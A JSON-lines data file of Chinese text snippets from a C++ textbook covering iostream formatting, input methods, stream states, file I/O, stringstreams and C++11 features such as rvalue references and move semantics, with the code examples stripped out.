    {"text": "程序清单17.9 setf2.cpp 下面是程序清单17.9中程序的输出： 注意到精度3让默认的浮点显示（在这个程序中用于内部对齐）总共显示3位，而定点模式和科学模式只显示3位小数（e表示法的指数位数取决于实现）。"},
    {"text": "对于其他组合，如没有位被设置或两位都被设置时，将使用默认模式。 因此，启用默认模式的方法之一如下： 第二个参数关闭这两位，而第一个参数不设置任何位。"},
    {"text": "一种实现同样目标的简捷方式是，使用参数ios::floatfield来调用函数unsetf( )： 如果已知cout处于定点状态，则可以使用参数ios_base::fixed调用函数unsetf( )来切换到默认模式； 然而，无论cout的当前状态如何，使用参数ios_base::floatfield调用函数unsetf( )都将切换到默认模式，因此这是一种更好的选择。"},
    {"text": "7．标准控制符 使用setf( )不是进行格式化的、对用户最为友好的方法，C++提供了多个控制符，能够调用setf( )，并自动提供正确的参数。"},
    {"text": "setprecision( )控制符接受一个指定精度的整数参数； setfill( ) 控制符接受一个指定填充字符的char参数； setw( )控制符接受一个指定字段宽度的整数参数。"},
    {"text": "前面说过，有些UNIX系统要求使用如下命令选项来访问数学库： 程序清单17.10 iomanip.cpp 下面是程序清单17.10中程序的输出： 现在可以生成几乎完全对齐的列了。"},
    {"text": "通常，可以这样使用cin： 其中，value_holder为存储输入的内存单元，它可以是变量、引用、被解除引用的指针，也可以是类或结构的成员。 cin解释输入的方式取决于value_holder的数据类型。"},
    {"text": "引用参数（参见第8章）意味着下面这样的语句将导致operator>>( )函数处理变量staff_size本身，而不是像常规参数那样处理它的副本： 由于参数类型为引用，因此cin能够直接修改用作参数的变量的值。"},
    {"text": "例如，假设staff_size的类型为int，则编译器将： 与下面的原型匹配： 对应于上述原型的函数将读取发送给程序的字符流（假设为字符2、3、1、8和4）。"},
    {"text": "例如，下面的语句将输入12或0x12解释为十六进制的12或十进制的18，而将ff或FF解释为十进制的255： istream类还为下列字符指针类型重载了>>抽取运算符： signed char *；"},
    {"text": "每个抽取运算符都返回调用对象的引用，这使得能够将输入拼接起来，就像拼接输出那样： 其中，cin>>name返回的cin对象成了处理fee的对象。"},
    {"text": "即使对于单字符模式（参数类型为char、unsigned char或signed char），情况也是如此，但对于C语言的字符输入函数，情况并非如此（参见图17.5）。"},
    {"text": "在这种情况下，抽取运算符将不会修改elevation的值，并返回0（如果istream对象的错误状态被设置，if或while语句将判定该对象为false，这将在本章后面做更详细的介绍）。"},
    {"text": "流状态（被定义为iostate类型，而iostate是一种bitmask类型）由3个ios_base元素组成：eofbit、badbit或failbit，其中每个元素都是一位，可以是1（设置）或0（清除）。"},
    {"text": "当cin操作未能读取到预期的字符时（像前一个例子那样），它将设置failbit。 I/O失败（如试图读取不可访问的文件或试图写入写保护的磁盘），也可能将failbit设置为1。"},
    {"text": "表17.4 流状态 成 员 描 述 eofbit 如果到达文件尾，则设置为1 badbit 如果流被破坏，则设置为1； 例如，文件读取错误 failbit 如果输入操作未能读取预期的字符或输出操作没有写入预期的字符，则设置为1 goodbit 另一种表示0的方法 good( ) 如果流可以使用（所有的位都被清除），则返回true eof( ) 如果eofbit被设置，则返回true bad( ) 如果badbit被设置，则返回true fail( ) 如果badbit或failbit被设置，则返回true rdstate( ) 返回流状态 exceptions( ) 返回一个位掩码，指出哪些标记导致异常被引发 exceptions(isostate ex) 设置哪些状态将导致clear( )引发异常； 例如，如果ex是eofbit，则如果eofbit被设置，clear( )将引发异常 clear(iostate s) 将流状态设置为s；"},
    {"text": "因此，下面的调用将使用默认参数0，这将清除全部3个状态位（eofbit、badbit和failbit）： 同样，下面的调用将状态设置为eofbit； 也就是说，eofbit将被设置，另外两个状态位被清除： 而setstate( )方法只影响其参数中已设置的位。 因此，下面的调用将设置eofbit，而不会影响其他位： 因此，如果failbit被设置，则仍将被设置。"},
    {"text": "例如，如果num是一个int，则下面的调用将可能导致operator >> (int &)使用setstate( )设置failbit或eofbit： 2．I/O和异常 假设某个输入函数设置了eofbit，这是否会导致异常被引发呢？"},
    {"text": "例如，如果badbit或eofbit随后被设置，下面的语句将引发异常： 程序清单17.12对程序清单17.11进行了修改，以便程序能够在failbit被设置时引发并捕获异常。"},
    {"text": "如果程序被设计成从一个数据文件中读取数据，直到到达文件尾，则在failbit位被设置时引发异常也是合理的，因为这表明数据文件出现了问题。"},
    {"text": "3．流状态的影响 只有在流状态良好（所有的位都被清除）的情况下，下面的测试才返回true： 如果测试失败，可以使用表17.4中的成员函数来判断可能的原因。"},
    {"text": "您可能还记得，它们提供下面的输入功能： 方法get(char&)和get(void)提供不跳过空白的单字符输入功能； 函数get(char*, int, char)和getline(char*, int, char)在默认情况下读取整行而不是一个单词。"},
    {"text": "1．单字符输入 在使用char参数或没有参数的情况下，get( )方法读取下一个输入字符，即使该字符是空格、制表符或换行符。 get(char & ch)版本将输入字符赋给其参数，而get(void)版本将输入字符转换为整型（通常是int），并将其返回。 （1）成员函数get(char &) 先来看get(char &)。"},
    {"text": "get(char &)成员函数返回一个指向用于调用它的istream对象的引用，这意味着可以拼接get(char &)后面的其他抽取： 首先，cin.get(c1)将第一个输入字符赋给c1，并返回调用对象——cin。"},
    {"text": "另外，该方法还调用setstate（failbit），导致cin的测试结果为false： 只要存在有效输入，cin.get(ch)的返回值都将是cin，此时的判定结果为true，因此循环将继续。"},
    {"text": "（2）成员函数get(void) get(void)成员函数还读取空白，但使用返回值来将输入传递给程序。 因此可以这样使用它： get(void)成员函数的返回类型为int（或某种更大的整型，这取决于字符集和区域）。"},
    {"text": "表17.5 cin.get(ch)与cin.get( ) 特 征 cin.get(ch) ch = cin.get( ) 传输输入字符的方法 赋给参数ch 将函数返回值赋给ch 字符输入时函数的返回值 指向istream对象的引用 字符编码（int值） 达到文件尾时函数的返回值 转换为false EOF 2．采用哪种单字符输入形式 假设可以选择>>、get（char &）或get（void），应使用哪一个呢？"},
    {"text": "如果使用get( )，则必须添加在每次循环中处理\\n字符的代码，而抽取运算符可以跳过它（如果使用过C语言进行编程，则可能遇到过使用换行符进行响应为非法的情况。"},
    {"text": "get(void)的主要优点是，它与标准C语言中的getchar( )函数极其类似，这意味着可以通过包含iostream（而不是stdio.h），并用cin.get( )替换所有的getchar( )，用cout.put(ch)替换所有的putchar(ch)，来将C程序转换为C++程序。"},
    {"text": "3．字符串输入：getline( )、get( )和ignore( ) 接下来复习一下第4章介绍的字符串输入成员函数。 getline( )成员函数和get( )的字符串读取版本都读取字符串，它们的函数特征标相同（这是从更为通用的模板声明简化而来的）： 第一个参数是用于放置输入字符串的内存单元的地址。"},
    {"text": "例如，下面的代码将字符输入读取到字符数组line中： cin.get( )函数将在到达第49个字符或遇到换行符（默认情况）后停止将输入读取到数组中。"},
    {"text": "get( )和getline( )之间的主要区别在于，get( )将换行符留在输入流中，这样接下来的输入操作首先看到是将是换行符，而gerline( )抽取并丢弃输入流中的换行符。"},
    {"text": "遇到分界字符后，输入将停止，即使还未读取最大数目的字符。 因此，在默认情况下，如果在读取指定数目的字符之前到达行尾，这两种方法都将停止读取输入。"},
    {"text": "例如，下面的函数调用读取并丢弃接下来的255个字符或直到到达第一个换行符： 原型为两个参数提供的默认值为1和EOF，该函数的返回类型为istream &： 默认参数值EOF导致ignore( )读取指定数目的字符或读取到文件尾。 该函数返回调用对象，这使得能够拼接函数调用，如下所示： 其中，第一个ignore( )方法读取并丢弃一行，第二个调用读取并丢弃另一行，因此一共读取了两行。"},
    {"text": "程序清单17.13 get_gun.cpp 下面是程序清单17.13中程序的运行情况： 注意，getline( )函数将丢弃输入中的分界字符#，而get( )函数不会。"},
    {"text": "如果希望getline( )在遇到空行时终止循环，则可以这样编写： 现在假设输入队列中的字符数等于或超过了输入方法指定的最大字符数。 首先，来看getline( )和下面的代码： getline( )方法将从输入队列中读取字符，将它们放到temp数组的元素中，直到（按测试顺序）到达文件尾、将要读取的字符是换行符或存储了29个字符为止。"},
    {"text": "表17.6 输入行为 方 法 行 为 getline(char *, int) 如果没有读取任何字符（但换行符被视为读取了一个字符），则设置failbit 如果读取了最大数目的字符，且行中还有其他字符，则设置failbit get(char *, int) 如果没有读取任何字符，则设置failbit 17.3.4 其他istream方法 除前面讨论过的外，其他istream方法包括read( )、peek( )、gcount( )和putback( )。"},
    {"text": "例如，下面的语句从标准输入中读取144个字符，并将它们存储在gross数组中： 与getline( )和get( )不同的是，read( )不会在输入后加上空值字符，因此不能将输入转换为字符串。"},
    {"text": "假设要读取输入，直到遇到换行符或句点，则可以用peek( )查看输入流中的下一个字符，以此来判断是否继续读取： cin.peek( )查看下一个输入字符，并将它赋给ch。"},
    {"text": "这意味着字符是由get( )、getline( )、ignore( )或read( )方法读取的，不是由抽取运算符（>>）读取的，抽取运算符对输入进行格式化，使之与特定的数据类型匹配。"},
    {"text": "例如，假设使用cin.get（myarray，80）将一行读入myarray数组中，并想知道读取了多少个字符，则可以使用strlen( )函数来计算数组中的字符数，这种方法比使用cin.gcount( )计算从输入流中读取了多少字符的速度要快。"},
    {"text": "putback( )函数将一个字符插入到输入字符串中，被插入的字符将是下一条输入语句读取的第一个字符。 putback( )方法接受一个char参数——要插入的字符，其返回类型为istream &，这使得可以将该函数调用与其他istream方法拼接起来。 使用peek( )的效果相当于先使用get( )读取一个字符，然后使用putback( )将该字符放回到输入流中。 然而，putback( )允许将字符放到不是刚才读取的位置。"},
    {"text": "程序清单17.15 truncate.cpp 下面是程序清单17.15中程序的运行情况： 注意，下面的代码确定第一条输入语句是否读取了整行： 如果get( )读取了整行，它将保留换行符，而上述代码将读取并丢弃换行符。"},
    {"text": "要写入文件，需要创建一个ofstream对象，并使用ostream方法，如<<插入运算符或write( )。 要读取文件，需要创建一个ifstream对象，并使用istream方法，如>>抽取运算符或get( )。"},
    {"text": "为帮助处理这些任务，C++在头文件fstream（以前为fstream.h）中定义了多个新类，其中包括用于文件输入的ifstream类和用于文件输出的ofstream类。 C++还定义了一个fstream类，用于同步文件I/O。"},
    {"text": "例如，假设要打开文件jar.txt进行输出，则可以这样做： 可以使用另一个构造函数将这两步（创建对象和关联到文件）合并成一条语句： 然后，以使用cout的方式使用fout（或选择的其他名称）。"},
    {"text": "例如，要将Dull Data放到文件中，可以这样做： 由于ostream是ofstream类的基类，因此可以使用所有的ostream方法，包括各种插入运算符定义、格式化方法和控制符。"},
    {"text": "ofstream类使用被缓冲的输出，因此程序在创建像fout这样的ofstream对象时，将为输出缓冲区分配空间。 如果创建了两个ofstream对象，程序将创建两个缓冲区，每个对象各一个。 像fout这样的ofstream对象从程序那里逐字节地收集输出，当缓冲区填满后，它便将缓冲区内容一同传输给目标文件。"},
    {"text": "以这种方式打开文件来进行输出时，如果没有这样的文件，将创建一个新文件； 如果有这样的文件，则打开文件将清空文件，输出将进入到一个空文件中。"},
    {"text": "程序清单17.16 fileio.cpp 下面是程序清单17.16中程序的运行情况： 如果查看该程序所在的目录，将看到一个名为pythag的文件，使用文本编辑器打开该文件，其内容将与程序输出相同。"},
    {"text": "例如，试图打开一个不存在的文件进行输入时，将设置failbit位，因此可以这样进行检查： 由于ifstream对象和istream对象一样，被放在需要bool类型的地方时，将被转换为bool值，因此您也可以这样做： 然而，较新的C++实现提供了一种更好的检查文件是否被打开的方法——is_open( )方法： 这种方式之所以更好，是因为它能够检测出其他方式不能检测出的微妙问题，接下来的“警告”将讨论这一点。"},
    {"text": "17.4.3 打开多个文件 程序可能需要打开多个文件。 打开多个文件的策略取决于它们将被如何使用。 如果需要同时打开两个文件，则必须为每个文件创建一个流。"},
    {"text": "例如，下面是依次读取两个文件的代码： 稍后将介绍一个例子，但先来看这样一种将一系列文件输入给程序的技术，即让程序能够使用循环来处理文件。"},
    {"text": "例如，要在UNIX或Linux系统中计算文件包含的字数，可以在命令行提示符下输入下面的命令： 其中，wc是程序名，report1、report2和report3是作为命令行参数传递给程序的文件名。"},
    {"text": "C++有一种让在命令行环境中运行的程序能够访问命令行参数的机制，方法是使用下面的main( )函数： argc为命令行中的参数个数，其中包括命令名本身。"},
    {"text": "argv变量为一个指针，它指向一个指向char的指针。 这过于抽象，但可以将argv看作一个指针数组，其中的指针指向命令行参数，argv[0]是一个指针，指向存储第一个命令行参数的字符串的第一个字符，依此类推。 也就是说，argv[0]是命令行中的第一个字符串，依此类推。 例如，假设有下面的命令行： 则argc为4，argv[0]为wc，argv[1]为report1，依此类推。"},
    {"text": "其他程序也可能允许使用命令行参数。 很多Windows IDE（集成开发环境）都有一个提供命令行参数的选项。 通常，必须选择一系列菜单，才能打开一个可以输入命令行参数的对话框。"},
    {"text": "程序清单17.17 count.cpp 注意： 有些C++实现要求在该程序末尾使用fin.clear( )，有些则不要求，这取决于将文件与ifstream对象关联起来时，是否自动重置流状态。"},
    {"text": "将流与文件关联时（无论是使用文件名初始化文件流对象，还是使用open( )方法），都可以提供指定文件模式的第二个参数： ios_base类定义了一个openmode类型，用于表示模式；"},
    {"text": "表17.7 文件模式常量 常 量 含 义 ios_base::in 打开文件，以便读取 ios_base::out 打开文件，以便写入 ios_base::ate 打开文件，并移到文件尾 ios_base::app 追加到文件尾 ios_base::trunc 如果文件存在，则截短文件 ios_base::binary 二进制文件 如果ifstream和ofstream构造函数以及open( )方法都接受两个参数，为什么前面的例子只使用一个参数就可以调用它们呢？"},
    {"text": "例如，ifstream open( )方法和构造函数用ios_base::in（打开文件以读取）作为模式参数的默认值，而ofstream open( )方法和构造函数用ios_base::out | ios_base::trunc（打开文件，以读取并截短文件）作为默认值。"},
    {"text": "例如，如果要保留文件内容，并在文件尾添加（追加）新信息，则可以使用ios_base::app模式： 上述代码也使用|运算符来合并模式，因此ios_base::out | ios_base::app意味着启用模式out和app（参见图17.6）。"},
    {"text": "表17.8 C++和C的文件打开模式 C++模式 C模式 含 义 ios_base :: in \"r\" 打开以读取 ios_base :: out \"w\" 等价于ios_base :: out ｜ ios_base :: trunc ios_base :: out ｜ ios_base :: trunc \"w\" 打开以写入，如果已经存在，则截短文件 ios_base :: out ｜ ios_base :: app \"a\" 打开以写入，只追加 ios_base :: out ｜ ios_base :: out \"r+\" 打开以读写，在文件允许的位置写入 ios_base :: out ｜ ios_base :: out ｜ ios_base::trunc \"w+\" 打开以读写，如果已经存在，则首先截短文件 c++mode ｜ ios_base :: binary \"cmodeb\" 以C++mode（或相应的cmode）和二进制模式打开； 例如，ios_base :: in｜ ios_base :: binary成为“rb” c++mode ｜ ios_base :: ate \"cmode\" 以指定的模式打开，并移到文件尾。"},
    {"text": "例如，ios_base :: in｜ios_base :: ate被转换为“r”模式和C函数调用fseek(file, 0, SEEK_END) 注意，ios_base::ate和ios_base::app都将文件指针指向打开的文件尾。 二者的区别在于，ios_base::app模式只允许将数据添加到文件尾，而ios_base::ate模式将指针放到文件尾。"},
    {"text": "考虑下面的结构定义和声明： 要将结构pl的内容以文本格式保存，可以这样做： 必须使用成员运算符显式地提供每个结构成员，还必须将相邻的数据分隔开，以便区分。"},
    {"text": "二进制文件和文本文件 使用二进制文件模式时，程序将数据从内存传输给文件（反之亦然）时，将不会发生任何隐藏的转换，而默认的文本模式并非如此。"},
    {"text": "例如，对于Windows文本文件，它们使用两个字符的组合（回车和换行）表示换行符； Macintosh文本文件使用回车来表示换行符； 而UNIX和Linux文件使用换行（linefeed）来表示换行符。 C++是从UNIX系统上发展而来的，因此也使用换行（linefeed）来表示换行符。 为增加可移植性，Windows C++程序在写文本模式文件时，自动将C++换行符转换为回车和换行； Macintosh C++程序在写文件时，将换行符转换为回车。 在读取文本文件时，这些程序将本地换行符转换为C++格式。"},
    {"text": "要获得字节数，可以使用sizeof运算符： 这条语句导致程序前往pl结构的地址，并将开始的36个字节（sizeof pl表达式的值）复制到与fout相关联的文件中。"},
    {"text": "由于下一次运行程序时，虚函数表可能在不同的位置，因此将文件中的旧指针信息复制到对象中，将可能造成混乱（请参见“编程练习6”中的注意）。"},
    {"text": "如果实现不支持fixed和right控制符，则可以使用cout.setf（ios_base::fixed、ios_base::floatfield）和cout.setf（ios_base::right、ios_base::adjustfield）。"},
    {"text": "程序清单17.19 binary.cpp 下面是首次运行程序清单17.19中程序时的情况： 下面是再次运行该程序时的情况： 看到该程序的主要特征后，下面再次讨论前面提到的几点。"},
    {"text": "为执行二进制I/O，需要使用ios_base::binary模式（在某些非标准系统上，可以省略这种模式，事实上，可能必须省略这种模式）。 为写入文件，需要ios_base::out或ios_base::app模式。"},
    {"text": "fstream类为此继承了两个方法：seekg( )和seekp( )，前者将输入指针移到指定的文件位置，后者将输出指针移到指定的文件位置（实际上，由于fstream类使用缓冲区来存储中间数据，因此指针指向的是缓冲区中的位置，而不是实际的文件）。 也可以将seekg( )用于ifstream对象，将seekp( )用于oftream对象。"},
    {"text": "对于char具体化，上面两个原型等同于下面的代码： 第一个原型定位到离第二个参数指定的文件位置特定距离（单位为字节）的位置； 第二个原型定位到离文件开头特定距离（单位为字节）的位置。"},
    {"text": "Streamoff和streampos类型是一些标准整型（如long）的typedef。 但为创建可移植标准，必须处理这样的现实情况：对于有些文件系统，整数参数无法提供足够的信息，因此streamoff和streampos允许是结构或类类型，条件是它们允许一些基本的操作，如使用整数值作为初始值等。"},
    {"text": "streamoff值被用来度量相对于文件特定位置的偏移量（单位为字节）。 streamoff参数表示相对于三个位置之一的偏移量为特定值（以字节为单位）的文件位置（类型可定义为整型或类）。"},
    {"text": "常量ios_base::beg指相对于文件开始处的偏移量。 常量ios_base::cur指相对于当前位置的偏移量； 常量ios_base::end指相对于文件尾的偏移量。"},
    {"text": "它可以是类，但如果是这样的话，这个类将包含一个接受streamoff参数的构造函数和一个接受整数参数的构造函数，以便将两种类型转换为streampos值。"},
    {"text": "streampos值表示文件中的绝对位置（从文件开始处算起）。 可以将streampos位置看作是相对于文件开始处的位置（以字节为单位，第一个字节的编号为0）。"},
    {"text": "因此下面的语句将文件指针指向第112个字节，这是文件中的第113个字节： 如果要检查文件指针的当前位置，则对于输入流，可以使用tellg( )方法，对于输出流，可以使用tellp( )方法。"},
    {"text": "创建fstream对象时，输入指针和输出指针将一前一后地移动，因此tellg( )和tellp( )返回的值相同。 然而，如果使用istream对象来管理输入流，而使用ostream对象来管理同一个文件的输出流，则输入指针和输出指针将彼此独立地移动，因此tellg( )和tellp( )将返回不同的值。"},
    {"text": "首先，程序以读/写模式使用一个fstream对象，并使用seekg( )将文件指针放在文件开头（对于这个例子而言，这其实不是必须的，但它说明了如何使用seekg( )）。"},
    {"text": "程序清单17.20 random.cpp 下面是程序清单17.20中的程序基于planets.dat文件的运行情况，该文件比上次见到时多了一些条目： 通过使用该程序中的技术，对其进行扩展，使之能够让用户添加新信息和删除记录。"},
    {"text": "常量L_tmpnam和TMP_MAX（二者都是在cstdio中定义的）限制了文件名包含的字符数以及在确保当前目录中不生成重复文件名的情况下tmpnam( )可被调用的最多次数。"},
    {"text": "也就是说，可以使用于cout的ostream方法将格式化信息写入到string对象中，并使用istream方法（如getline( )）来读取string对象中的信息。 读取string对象中的格式化信息或将格式化信息写入string对象中被称为内核格式化（incore formatting）。"},
    {"text": "ostringstream类有一个名为str( )的成员函数，该函数返回一个被初始化为缓冲区内容的字符串对象： 使用str( )方法可以“冻结”该对象，这样便不能将信息写入该对象中。"},
    {"text": "程序清单17.21 strout.cpp 下面是程序清单17.21中程序的运行情况： istringstream类允许使用istream方法族读取istringstream对象中的数据，istringstream对象可以使用string对象进行初始化。"},
    {"text": "例如，如果instr包含大量字符格式的整数，则可以这样读取它们： 程序清单17.22使用重载的>>运算符读取字符串中的内容，每次读取一个单词。"},
    {"text": "程序清单17.22 strin.cpp 下面是程序清单17.22中程序的输出： 总之，istringstream和ostringstream类使得能够使用istream和ostream类的方法来管理存储在字符串中的字符数据。"},
    {"text": "cin对象管理标准输入流，后者默认与标准输入设备（通常为键盘）相连； cout对象管理标准输出流，后者默认与标准输出设备（通常为显示器）相连；"},
    {"text": "ifstream类是从istream类派生而来的。 通过将ifstream对象与文件关联起来，可以使用所有的istream方法来读取文件。 同样，通过将ofstream对象与文件关联起来，可以使用ostream方法来写文件； 通过将fstream对象与文件关联起来，可以将输入和输出方法用于文件。 要将文件与流关联起来，可以在初始化文件流对象时提供文件名，也可以先创建一个文件流对象，然后用open( )方法将这个流与文件关联起来。 close( )方法终止流与文件之间的连接。"},
    {"text": "文件模式决定文件是否被读和/或写、打开文件以便写入时是否截短文件、试图打开不存在的文件时是否会导致错误、是使用二进制模式还是文本模式等。"},
    {"text": "sstream头文件定义了istringstream和ostringstream类，这些类使得能够使用istream和ostream方法来抽取字符串中的信息，并对要放入到字符串中的信息进行格式化。"},
    {"text": "4．编写一个程序，它打开两个文本文件进行输入，打开一个文本文件进行输出。 该程序将两个输入文件中对应的行并接起来，并用空格分隔，然后将结果写入到输出文件中。"},
    {"text": "例如，假设第一个输入文件的内容如下： 而第二个输入文件的内容如下： 则得到的文件的内容将如下： 5．Mat和Pat想邀请他们的朋友来参加派对，就像第16章中的编程练习8那样，但现在他们希望程序使用文件。"},
    {"text": "该程序首次被运行时，将要求用户输入数据，然后显示所有的数据，并将这些信息保存到一个文件中。 当该程序再次被运行时，将首先读取并显示文件中的数据，然后让用户添加数据，并显示所有的数据。"},
    {"text": "差别之一是，应通过一个指向employee类型的指针数组来处理数据。 这样，指针可以指向employee对象，也可以指向从employee派生出来的其他三种对象中的任何一种。"},
    {"text": "使数组较小有助于检查程序，例如，您可能将数组限定为最多包含10个元素： 为通过键盘输入，程序应使用一个菜单，让用户选择要创建的对象类型。"},
    {"text": "然后该对象可以使用虚函数setall( )来提示用户输入相应的数据： 为将数据保存到文件中，应设计一个虚函数writeall( )： 注意： 对于这个练习，应使用文本I/O，而不是二进制I/O（遗憾的是，虚对象包含指向虚函数指针表的指针，而write( )将把这种信息复制到文件中。"},
    {"text": "这样，在文件输入时，程序便可以读取该整数，并使用switch语句创建一个适当的对象来接收数据： 然后便可以使用指针调用虚函数getall( )来读取信息： 7．下面是某个程序的部分代码。"},
    {"text": "该程序将键盘输入读取到一个由string对象组成的vector中，将字符串内容（而不是string对象）存储到一个文件中，然后该文件的内容复制到另一个由string对象组成的vector中。"},
    {"text": "编写函数符Store，它将字符串信息写入到文件中。 Store的构造函数应接受一个指定ifstream对象的参数，而重载的operator( )(const string &)应指出要写入到文件中的字符串。"},
    {"text": "18.1.2 统一的初始化 C++11扩大了用大括号括起的列表（初始化列表）的适用范围，使其可用于所有内置类型和用户定义的类型（即类对象）。"},
    {"text": "使用初始化列表时，可添加等号（=），也可不添加： 另外，列表初始化语法也可用于new表达式中： 创建对象时，也可使用大括号（而不是圆括号）括起的列表来调用构造函数： 然而，如果类有将模板std::initializer_list作为参数的构造函数，则只有该构造函数可以使用列表初始化形式。"},
    {"text": "1．缩窄 初始化列表语法可防止缩窄，即禁止将数值赋给无法存储它的数值变量。 常规初始化允许程序员执行可能没有意义的操作： 然而，如果使用初始化列表语法，编译器将禁止进行这样的类型转换，即将值存储到比它“窄”的变量中： 但允许转换为更宽的类型。"},
    {"text": "另外，只要值在较窄类型的取值范围内，将其转换为较窄的类型也是允许的： 2．std::initializer_list C++11提供了模板类initializer_list，可将其用作构造函数的参数，这在第16章讨论过。"},
    {"text": "例如，如果il是一个std::initializer_list<double>对象，则可将下述代码： 替换为如下代码： 2．decltype 关键字decltype将变量的类型声明为表达式指定的类型。"},
    {"text": "下面的语句的含义是，让y的类型与x相同，其中x是一个表达式： 下面是几个示例： 这在定义模板时特别有用，因为只有等到模板被实例化时才能确定类型： 其中tu将为表达式T U的类型，这里假定定义了运算T U。"},
    {"text": "3．返回类型后置 C++11新增了一种函数声明语法：在函数名和参数列表后面（而不是前面）指定返回类型： 就常规函数的可读性而言，这种新语法好像是倒退，但让您能够使用decltype来指定模板函数的返回类型： 这里解决的问题是，在编译器遇到eff的参数列表前，T和U还不在作用域内，因此必须在参数列表后使用decltype。"},
    {"text": "以前，C++为此提供了typedef： C++11提供了另一种创建别名的语法，这在第14章讨论过： 差别在于，新语法也可用于模板部分具体化，但typedef不能： 上述语句具体化模板array<T, int>（将参数int设置为12）。"},
    {"text": "为向后兼容，C++11仍允许使用0来表示空指针，因此表达式nullptr == 0为true，但使用nullptr而不是0提供了更高的类型安全。 例如，可将0传递给接受int参数的函数，但如果您试图将nullptr传递给这样的函数，编译器将此视为错误。"},
    {"text": "基于程序员的编程体验和BOOST库提供的解决方案，C++11摒弃了auto_ptr，并新增了三种智能指针：unique_ptr、shared_ptr和weak_ptr，第16章讨论了前两种。"},
    {"text": "18.1.5 异常规范方面的修改 以前，C++提供了一种语法，可用于指出函数可能引发哪些异常（参见第15章）： 与auto_ptr一样，C++编程社区的集体经验表明，异常规范的效果没有预期的好。"},
    {"text": "然而，标准委员会认为，指出函数不会引发异常有一定的价值，他们为此添加了关键字noexcept： 18.1.6 作用域内枚举 传统的C++枚举提供了一种创建名称常量的方式，但其类型检查相当低级。"},
    {"text": "为解决这种问题，C++引入了关键字explicit，以禁止单参数构造函数导致的自动转换： C++11拓展了explicit的这种用法，使得可对转换函数做类似的处理（参见第11章）： 2．类内成员初始化 很多首次使用C++的用户都会问，为何不能在类定义中初始化成员？"},
    {"text": "其结果与给前两个构造函数提供成员初始化列表，并指定mem1和mem2的值相同： 通过使用类内初始化，可避免在构造函数中编写重复的代码，从而降低了程序员的工作量、厌倦情绪和出错的机会。 如果构造函数在成员初始化列表中提供了相应的值，这些默认值将被覆盖，因此第三个构造函数覆盖了类内成员初始化。"},
    {"text": "1．基于范围的for循环 对于内置数组以及包含方法begin( ) 和end( ) 的类（如std::string）和STL容器，基于范围的for循环（第5章和第16章讨论过）可简化为它们编写循环的工作。"},
    {"text": "一种更容易、更安全的方式是，使用auto来声明x，这样编译器将根据prices声明中的信息来推断x的类型： 如果要在循环中修改数组或容器的每个元素，可使用引用类型： 2．新的STL容器 C++11新增了STL容器forward_list、unordered_map、unordered_multimap、unordered_set和unordered_multiset（参见第16章）。"},
    {"text": "与begin( )和end( )一样，这些新方法也返回一个迭代器，指向容器的第一个元素和最后一个元素的后面，因此可用于指定包含全部元素的区间。"},
    {"text": "C++11添加了两个函数（begin( )和end( )），它们都接受valarray作为参数，并返回迭代器，这些迭代器分别指向valarray对象的第一个元素和最后一个元素后面。"},
    {"text": "5．摒弃export C++98新增了关键字export，旨在提供一种途径，让程序员能够将模板定义放在接口文件和实现文件中，其中前者包含原型和模板声明，而后者包含模板函数和方法的定义。"},
    {"text": "6．尖括号 为避免与运算符>>混淆，C++要求在声明嵌套模板时使用空格将尖括号分开： C++11不再这样要求： 18.1.9 右值引用 传统的C++引用（现在称为左值引用）使得标识符关联到左值。"},
    {"text": "最初，左值可出现在赋值语句的左边，但修饰符const的出现使得可以声明这样的标识符，即不能给它赋值，但可获取其地址： C++11新增了右值引用（这在第8章讨论过），这是使用&&表示的。 右值引用可关联到右值，即可出现在赋值表达式右边，但不能对其应用地址运算符的值。 右值包括字面常量（C-风格字符串除外，它表示地址）、诸如x + y等表达式以及返回值的函数（条件是该函数返回的不是引用）： 注意，r2关联到的是当时计算x + y得到的结果。"},
    {"text": "假设有如下代码： vector和string类都使用动态内存分配，因此它们必须定义使用某种new版本的复制构造函数。 为初始化对象vstr_copy1，复制构造函数vector<string>将使用new给20000个string对象分配内存，而每个string对象又将调用string的复制构造函数，该构造函数使用new为1000个字符分配内存。"},
    {"text": "例如，假设有一个函数，它返回一个vector<string>对象： 接下来，假设以下面这种方式使用它： 从表面上看，语句#1和#2类似，它们都使用一个现有的对象初始化一个vector<string>对象。"},
    {"text": "vector和string的复制构造函数创建这20000000个字符的副本，然后程序删除allcaps( )返回的临时对象（迟钝的编译器甚至可能将temp复制给一个临时返回对象，删除temp，再删除临时返回对象）。"},
    {"text": "其中一个是常规复制构造函数，它使用const左值引用作为参数，这个引用关联到左值实参，如语句#1中的vstr； 另一个是移动构造函数，它使用右值引用作为参数，该引用关联到右值实参，如语句#2中allcaps(vstr)的返回值。"},
    {"text": "程序清单18.2定义并使用了Useless类，这个类动态分配内存，并包含常规复制构造函数和移动构造函数，其中移动构造函数使用了移动语义和右值引用。"},
    {"text": "下面是在Microsoft Visual C++ 2010中编译时，该程序的输出： 注意到对象two是对象one的副本：它们显示的数据输出相同，但显示的数据地址不同（006F4B68和006F4BB0）。"},
    {"text": "另一方面，在方法Useless::operator+()中创建的对象的数据地址与对象four存储的数据地址相同（都是006F4C48），其中对象four是由移动复制构造函数创建的。"},
    {"text": "如果使用编译器g++ 4.5.0和标记-std=c++11编译该程序（但将nullptr替换为0），输出将不同，这很有趣： 注意到没有调用移动构造函数，且只创建了4个对象。"},
    {"text": "首先，右值引用让编译器知道何时可使用移动语义： 对象one是左值，与左值引用匹配，而表达式one + three是右值，与右值引用匹配。 因此，右值引用让编译器使用移动构造函数来初始化对象four。"},
    {"text": "总之，通过提供一个使用左值引用的构造函数和一个使用右值引用的构造函数，将初始化分成了两组。 使用左值对象初始化对象时，将使用复制构造函数，而使用右值对象初始化对象时，将使用移动构造函数。"},
    {"text": "第8章介绍过，如果实参为右值，const引用形参将指向一个临时变量： 就Useless而言，形参f将被初始化一个临时对象，而该临时对象被初始化为operator+()返回的值。"},
    {"text": "下面是使用老式编译器进行编译时，程序清单18.2所示程序（删除了移动构造函数）的部分输出： 首先，在方法Useless::operator+() 内，调用构造函数创建了temp，并在01C337C4处给它分配了存储30个元素的空间。"},
    {"text": "例如，下面演示了如何给Useless类编写复制赋值运算符和移动赋值运算符： 上述复制赋值运算符采用了第12章介绍的常规模式，而移动赋值运算符删除目标对象中的原始数据，并将源对象的所有权转让给目标。"},
    {"text": "然而，假设您试图像下面这样做： 由于choices[pick]是左值，因此上述赋值语句将使用复制赋值运算符，而不是移动赋值运算符。 但如果能让choices[pick]看起来像右值，便将使用移动赋值运算符。"},
